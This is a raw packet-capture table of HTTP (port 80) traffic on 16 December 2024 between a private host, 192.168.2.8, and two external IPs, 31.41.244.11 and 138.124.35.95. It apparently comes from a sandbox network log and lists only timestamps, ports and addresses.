Dec 16, 2024 17:02:24.932332039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.932385921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.932482958 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.932497978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.932528973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.932543039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.932800055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.933147907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.933206081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.933301926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.933316946 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.933346033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.933372974 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.933650970 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.934101105 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.934115887 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.934160948 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.934185982 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.934289932 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.934305906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.934353113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.934953928 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.935003042 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.935097933 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.935115099 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.935139894 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.935154915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.935440063 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.935858965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.935874939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.935906887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.935920954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.936105013 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.936120987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.936165094 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.936925888 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.936940908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.936955929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.936990976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.937015057 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.017785072 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.017859936 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.017997980 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.018053055 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.018057108 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.018106937 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.018356085 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.018409014 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.018457890 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.018712044 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.018722057 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.018980026 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.019051075 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.019099951 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.019217968 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.019490004 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.019499063 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.019557953 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.019756079 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.020047903 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.021075964 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021147013 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.021231890 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021240950 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021249056 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021311045 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.021349907 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021359921 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021398067 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021406889 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021421909 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.021452904 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.021478891 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021529913 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.021568060 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021576881 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021584988 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021621943 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.021655083 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.021719933 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021728039 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021784067 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.021878004 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.021954060 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.022111893 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.022124052 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.022242069 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.022298098 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.022537947 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.022582054 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.023006916 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.023147106 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.023155928 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.023164034 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.023360968 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.023370981 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.023545027 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.023648977 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.023658991 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.023716927 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.024094105 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.024102926 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.024111986 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.024256945 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.024271011 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.024280071 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.024326086 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.024334908 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.024398088 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.024439096 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.024446964 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.024455070 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.106389046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.106653929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.106667995 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.106776953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.106828928 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.107095957 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.107108116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.107171059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.107544899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.107659101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.107716084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.107893944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.107906103 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.107948065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.108221054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.108231068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.108279943 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.108418941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.108431101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.108439922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.108480930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.108897924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.108947039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.109071970 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.109086990 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.109127045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.109150887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.109399080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.109735966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.109788895 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.109859943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.109872103 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.109914064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.110256910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.110306978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.110569000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.110621929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.110714912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.110728025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.110759974 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.110788107 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.111174107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.111587048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.111644030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.111661911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.111713886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.111888885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.111938000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.112097025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.112147093 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.112406969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.112418890 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.112463951 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.112616062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.112627983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.112683058 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.113334894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.113426924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.113439083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.113480091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.113987923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.114260912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.114315033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.114433050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.114444971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.114485979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.114759922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.115086079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.115138054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.115178108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.115189075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.115226984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.115565062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.115986109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.116070986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.116079092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.116084099 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.116174936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.116576910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.116842985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.116854906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.116892099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.116940975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.116951942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.116991043 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.117306948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.117819071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.117830992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.117842913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.117882013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.117902040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.118184090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.118639946 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.118650913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.118695021 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.118822098 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.118834019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.118875980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.119560957 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.119642019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.119653940 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.119697094 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.120102882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.120150089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.120660067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.120709896 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.120718002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.120728016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.120765924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.121073008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.121283054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.121340036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.121517897 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.121532917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.121573925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.121818066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.122184992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.122241020 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.122283936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.122296095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.122338057 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.122678995 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.123039007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.123090029 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.123177052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.123188972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.123226881 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.123648882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.123698950 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.123963118 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.124011993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.124037981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.124053955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.124092102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.124104977 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.124610901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.124842882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.125013113 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.125061035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.125160933 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.125171900 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.125209093 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.125677109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.125729084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.125974894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.126025915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.126106024 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.126118898 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.126157045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.126580954 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.126629114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.126785040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.126838923 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.126868010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.126919031 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.126960993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.126971960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.127016068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.127599001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.127609968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.127621889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.127659082 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.127674103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.127996922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.128478050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.128535986 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.128567934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.128580093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.128621101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.128871918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.129302979 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.129358053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.137834072 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.137844086 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.138034105 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.138042927 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.138161898 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.138191938 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.138365030 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.138374090 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.138577938 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.140191078 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.140201092 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.140378952 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.140506983 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.140508890 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.140520096 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.140530109 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.140569925 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:25.140774012 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.140782118 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.140913963 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.140997887 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.141298056 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.141314983 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.141417980 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.141426086 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.141679049 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.141779900 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142013073 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142057896 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142066002 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142074108 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142163038 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142178059 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142195940 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142204046 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142296076 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142303944 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142437935 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142604113 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142621040 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142749071 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142816067 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142868042 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.142990112 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.143059015 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.143146992 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.143156052 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.143367052 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.143376112 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.143481970 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.143491030 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.143501043 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.143508911 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.143697023 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.143704891 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.143959999 CET	80	49713	138.124.35.95	192.168.2.8
